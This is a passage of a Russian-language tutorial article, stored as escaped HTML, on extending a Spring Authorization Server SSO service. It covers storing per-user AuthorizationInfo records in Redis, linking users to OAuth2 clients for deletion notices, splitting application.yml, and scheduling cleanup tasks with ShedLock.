\u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u043d\u0430\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u043c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0435\u0439\u0441\u044f \u043a \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e. \u042d\u0442\u043e \u0438 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438.<\/p>\n<p>\u0412\u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u043a\u0430\u043a\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430:<\/p>\n<ol>\n<li>\n<p>\u0414\u043b\u044f \u043a\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u043b\u0441\u044f \u0442\u043e\u043a\u0435\u043d (clientId)<\/p>\n<\/li>\n<li>\n<p>\u041a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b \u0432\u044b\u0434\u0430\u043d \u0442\u043e\u043a\u0435\u043d<\/p>\n<\/li>\n<li>\n<p>\u041a\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0440\u0430\u0437 \u0442\u043e\u043a\u0435\u043d \u0431\u044b\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d<\/p>\n<\/li>\n<li>\n<p>\u041a\u0430\u043a\u0438\u0435 Scope \u0431\u044b\u043b\u0438 \u0432\u044b\u0434\u0430\u043d\u044b<\/p>\n<\/li>\n<li>\n<p>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0441\u0430\u043c\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (\u043b\u043e\u0433\u0438\u043d, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f)<\/p>\n<\/li>\n<li>\n<p>\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043a\u0435\u043d\u043e\u043c (\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435)<\/p>\n<\/li>\n<\/ol>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u0431\u044b\u043b\u043e \u043d\u0435 \u0443\u0434\u043e\u0431\u043d\u043e \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>OAuth2Authorization<\/code>, \u0442\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u0430 \u0432\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f. \u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043a\u043b\u0430\u0441\u0441, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u0432\u0441\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0443\u044e \u043d\u0430\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.<\/p>\n<p><code><strong>AuthorizationInfo.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @Getter @Setter @Builder @NoArgsConstructor @AllArgsConstructor public class AuthorizationInfo implements Serializable {      private LocalDateTime startDate;     private LocalDateTime lastRefreshDate;     private String clientId;     private Set&lt;String> scopes;     private AuthorizationGrantType authorizationGrantType;     private String authorizationId;     private UUID userId;     private String username;     private String redirectUri;  } <\/code><\/pre>\n<p>\u041d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f, \u043a\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0442 \u043e\u0431\u044a\u0435\u043a\u0442 \u0432 Redis. \u0411\u0443\u0434\u0435\u043c \u043e\u0442\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u043e\u0438\u0441\u043a\u0430. \u041c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u044b <code>AuthorizationInfo<\/code> \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u043b\u044e\u0447\u043e\u043c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c userId \u0438\u043b\u0438 username. \u0418 \u043f\u043e\u0434 \u044d\u0442\u0438\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043e\u0434\u0438\u043d \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 <code>AuthorizationInfo<\/code>. \u041f\u0440\u0438 \u043e\u0442\u0437\u044b\u0432\u0435 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0443\u0434\u0430\u043b\u044f\u0435\u043c\u044b\u043c \u0442\u043e\u043a\u0435\u043d\u043e\u043c. \u041e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c userId \u0438\u043b\u0438 username \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u043e\u0436\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0430 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043e\u0431\u044a\u0435\u043a\u0442 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 <code>authorizationId<\/code> (\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0438\u0437 <code>OAuth2Authorization<\/code>). \u041f\u0440\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0438 <code>OAuth2Authorization<\/code> \u043f\u043e \u0438\u0441\u0442\u0435\u0447\u0435\u043d\u0438\u044e \u0441\u0440\u043e\u043a\u0430 \u0436\u0438\u0437\u043d\u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 <code>AuthorizationInfo<\/code>. \u041d\u043e \u0442\u0443\u0442 \u0441\u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0441\u0430\u043c Redis. \u041f\u0440\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0438 <code>AuthorizationInfo<\/code> \u043c\u044b \u0443\u043a\u0430\u0436\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 TTL, \u0447\u0442\u043e \u0438 \u0443 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>OAuth2Authorization<\/code>.<\/p>\n<p>\u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0432\u044b\u0448\u0435\u0441\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e, \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f <code>AuthorizationInfo<\/code> \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043c\u0435\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>ValueOperations&lt;String, AuthorizationInfo><\/code>, \u0433\u0434\u0435 \u043a\u043b\u044e\u0447\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u0432\u0448\u0430\u044f \u0438\u0437 ID \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 authorizationId. \u041e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 <code>RedisOAuth2AuthorizationService<\/code> \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.1\/j-sso\/src\/main\/java\/ru\/dlabs\/sas\/example\/jsso\/service\/security\/RedisOAuth2AuthorizationService.java\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438<\/a>.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u043b\u0438 <code>RedisOAuth2AuthorizationService<\/code>, \u0442\u043e \u0443 \u0432\u0430\u0441 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441: \u0410 \u0447\u0442\u043e \u0437\u0430 <code>onSaveHandler<\/code> \u0438 <code>onRemoveHandler<\/code>? \u0414\u0430\u043d\u043d\u044b\u0435 callback \u043c\u0435\u0442\u043e\u0434\u044b \u0431\u044b\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u0432\u044f\u0437\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 clientId. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u044d\u0442\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 <code>SecurityConfigUtilities<\/code>.<\/p>\n<p><code><strong>SecurityConfigUtilities.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @RequiredArgsConstructor @Configuration(proxyBeanMethods = false) public class SecurityConfigUtilities {      private final AuthorizationServerProperties authorizationServerProperties;     private final UserClientService userClientService;      \/\/ .....      public OAuth2AuthorizationService oAuth2AuthorizationService(             RedisTemplate&lt;String, OAuth2Authorization> redisTemplate,             RedisTemplate&lt;String, AuthorizationInfo> redisTemplateAuthInfo     ) {         return new RedisOAuth2AuthorizationService(                 redisTemplate,                 redisTemplateAuthInfo,                 (authInfo) -> userClientService.save(authInfo.getUserId(), authInfo.getClientId()),                 (authorization) -> {                 },                 authorizationServerProperties.getAuthorizationTtl()         );     }      \/\/ ..... } <\/code><\/pre>\n<p>\u0421\u0432\u044f\u0437\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 clientId \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c, \u0434\u043b\u044f \u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. \u0421\u0442\u043e\u0438\u0442 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c, \u0447\u0442\u043e \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u043f\u043e\u043b\u0435 <code>delete_notify_uris<\/code>. \u042d\u0442\u043e \u0441\u043f\u0438\u0441\u043e\u043a URL \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0441\u043b\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u0440\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u0437 SSO. \u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c \u043a\u0430\u043a\u0438\u043c OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043f\u043e\u0441\u043b\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441, \u043d\u0443\u0436\u043d\u0430 \u0441\u0432\u044f\u0437\u044c userId \u0438 clientId. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 <code>RedisOAuth2AuthorizationService<\/code> \u043c\u044b \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0441\u0432\u044f\u0437\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u043d\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<h4>\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b<\/h4>\n<h3>\u0420\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 application.yml<\/h3>\n<p>\u0420\u0435\u0430\u043b\u0438\u0437\u0443\u044f \u043d\u043e\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0444\u0430\u0439\u043b <code>application.yml<\/code> \u0441\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u043e\u0441\u0441\u044f. \u0418 \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u043d\u0435\u043c\u0443 \u043d\u0443\u0436\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0442\u0430\u043b\u043e \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041f\u043e\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u0440\u0430\u0437\u0431\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432:<\/p>\n<ul>\n<li>\n<p><code>application.yml<\/code> &#8212; \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<li>\n<p><code>application-data.yml<\/code> &#8212; \u0445\u0440\u0430\u043d\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0431\u0430\u0437\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445<\/p>\n<\/li>\n<li>\n<p><code>application-security.yml<\/code> &#8212; \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0432\u0441\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <code>spring.config.import<\/code>, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u0432\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0435 \u043d\u0438\u0436\u0435:<\/p>\n<p><code><strong>application.yml<\/strong><\/code><\/p>\n<pre><code class=\"yaml\">spring:     application:         name: j-sso     config:         import:             - application-data.yml             - application-security.yml <\/code><\/pre>\n<h3>\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447<\/h3>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438\u0441\u044c \u0434\u0432\u0435 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438<\/p>\n<p><code><strong>SchedulerConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @Configuration @EnableScheduling @RequiredArgsConstructor public class SchedulerConfig {      private final UserEventService userEventService;     private final OAuth2ClientService oAuth2ClientService;      @Bean     public LockProvider lockProvider(RedisConnectionFactory connectionFactory) {         return new RedisLockProvider(connectionFactory);     }      \/**      * \u0417\u0430\u0434\u0430\u0447\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.      *\/     @Scheduled(cron = \"${scheduled-tasks.delete-old-events.cron}\")     @SchedulerLock(name = \"deleteOldEvents_lock\", lockAtMostFor = \"5m\", lockAtLeastFor = \"5m\")     public void deleteOldEvents() {         userEventService.deleteOldEvents();     }      \/**      * \u0417\u0430\u0434\u0430\u0447\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.      *\/     @Scheduled(cron = \"${scheduled-tasks.notify-delete-users.cron}\")     @SchedulerLock(name = \"deleteUsersNotifier_lock\", lockAtMostFor = \"5s\", lockAtLeastFor = \"5s\")     public void notifyClientsAboutDeleteUser() {         oAuth2ClientService.notifyClientsAndClear();     } } <\/code><\/pre>\n<p>\u041f\u0435\u0440\u0432\u043e\u0435, \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c <code>net.javacrumbs.shedlock:shedlock-provider-redis-spring<\/code> \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0439 \u0436\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (\u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u0435, \u0447\u0442\u043e \u0432 <a href=\"https:\/\/habr.com\/ru\/articles\/748584\/\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0439<\/a> \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445). \u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0430\u043d\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c <a href=\"https:\/\/github.com\/lukas-krecan\/ShedLock\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>.<\/p>\n<p>\u0412\u0442\u043e\u0440\u043e\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0440\u0430\u0437\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0432 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f, \u0442\u043e \u0441\u0442\u043e\u0438\u0442\u044c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0442\u043e\u043a\u0430\u0445. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e Spring \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0442\u043e\u043a\u0435, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0445 \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0451\u0442 \u043a\u0430\u043a\u0430\u044f \u043d\u0438\u0431\u0443\u0434\u044c \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435, \u0438 \u043e\u043d\u0430 \u0437\u0430\u0432\u0438\u0441\u043d\u0435\u0442, \u0442\u043e \u0432\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a \u0438 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f, \u043f\u043e\u043a\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u043d\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0441\u044f. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0443\u043b \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447. \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0432 \u0431\u0438\u043d <code>TaskScheduler<\/code> \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u043a\u0430\u0437\u0430\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 